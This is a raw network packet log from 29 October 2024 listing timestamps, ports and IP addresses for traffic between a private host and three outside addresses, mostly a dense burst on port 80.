Oct 29, 2024 17:59:51.188281059 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.188288927 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.189436913 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.189476013 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.189538002 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.189693928 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.189703941 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.190359116 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.190385103 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.190491915 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.190598965 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.190612078 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.193355083 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.193526983 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.193602085 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.193629980 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.193634033 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.193645000 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.193648100 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.195787907 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.195808887 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.196075916 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.196217060 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.196228981 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.207766056 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.207809925 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.207853079 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.207863092 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.207875967 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.207936049 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.208081007 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.208081007 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.208091021 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.208098888 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.208520889 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.208594084 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.209103107 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.209136963 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.209153891 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.209167004 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.209172010 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.210635900 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.210675955 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.210978031 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.211169004 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.211184025 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.211230040 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.211240053 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.211390972 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.211513042 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.211524010 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.386903048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.386919022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.386933088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.386981964 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387016058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387017965 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387036085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387051105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387062073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387075901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387088060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387089968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387116909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387116909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387134075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387134075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387149096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387157917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387162924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387166977 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387187004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387201071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387250900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387262106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387279987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387295008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387300014 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387309074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387319088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387332916 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387346983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387346983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387358904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387372017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387397051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387406111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387454033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387465954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387478113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387490034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387517929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387542963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387597084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387650967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387665033 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387703896 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387731075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387742996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387800932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387814045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387842894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387856007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387888908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387901068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387912035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.387933016 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387958050 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.387960911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.388000965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.388078928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.388091087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.388102055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.388118029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.388144970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504117012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504194021 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504257917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504271030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504281998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504292965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504307032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504321098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504333019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504333973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504347086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504354954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504359007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504378080 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504385948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504405975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504407883 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504422903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504429102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504436016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504447937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504453897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504457951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504467964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504477978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504482985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504489899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504498959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504509926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504520893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504539013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504550934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504561901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504611969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504614115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504625082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504636049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504647970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504667997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504668951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504683971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504688025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504710913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504726887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504801989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504848957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504890919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504900932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504914999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504935980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504939079 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504951000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504959106 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.504967928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.504982948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505021095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505047083 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505151987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505165100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505176067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505217075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505218029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505228996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505240917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505253077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505266905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505280972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505281925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505292892 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505322933 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505495071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505506992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505526066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505539894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505541086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505553961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505587101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505599976 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505666971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505681038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505692959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505703926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505717993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505745888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505757093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505815029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505832911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505844116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.505858898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.505872011 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.549432993 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.549714088 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.549729109 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.550065041 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.550589085 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.550652027 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.550765038 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.591352940 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.621262074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621290922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621303082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621326923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621370077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621372938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621423006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621436119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621443987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621474981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621525049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621556044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621596098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621618986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621629953 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621665001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621669054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621674061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621721029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621745110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621757984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621768951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621782064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621794939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621808052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621809006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621820927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621824980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621859074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621870995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621897936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621952057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.621990919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.621992111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622004986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622056007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622067928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622080088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622093916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622096062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622107983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622137070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622170925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622225046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622236013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622272968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622279882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622292042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622387886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622400999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622417927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622423887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622432947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622438908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622458935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622477055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622502089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622514009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622519016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622523069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622540951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622570038 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622597933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622612953 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622629881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622642040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622656107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622656107 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622668028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622675896 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622700930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622823954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622865915 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622905016 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622916937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622931004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622941017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622957945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.622961044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.622980118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623001099 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623125076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623136997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623147964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623171091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623174906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623182058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623197079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623198986 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623209000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623224020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623225927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623254061 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623265028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623385906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623492956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623509884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623524904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623533010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623538971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623552084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623563051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623577118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623577118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623593092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623617887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623704910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623718023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623769045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623780966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623791933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623804092 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623817921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623821974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623833895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.623847961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.623868942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.679605007 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.679640055 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.679699898 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.679712057 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.679725885 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.679781914 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.681178093 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.681190014 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.687999010 CET	50059	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:51.688039064 CET	443	50059	23.47.50.146	192.168.2.6
